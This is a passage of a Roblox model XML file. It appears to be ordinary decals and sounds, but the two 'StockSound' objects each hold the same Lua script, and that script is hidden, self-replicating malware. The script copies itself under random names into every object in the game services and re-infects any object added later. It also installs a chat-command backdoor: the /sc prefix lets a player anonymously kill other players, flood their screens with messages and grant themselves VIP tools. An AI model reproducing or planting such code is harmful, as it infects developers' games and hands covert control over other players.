						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX766">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">aqp2qr0iu</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX767">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=7746419</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX768">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">764c</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX769">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">w01j62</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX770">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=7746419</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX771">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">tbs2z</string>
						<int name="PlayCount">-1</int>
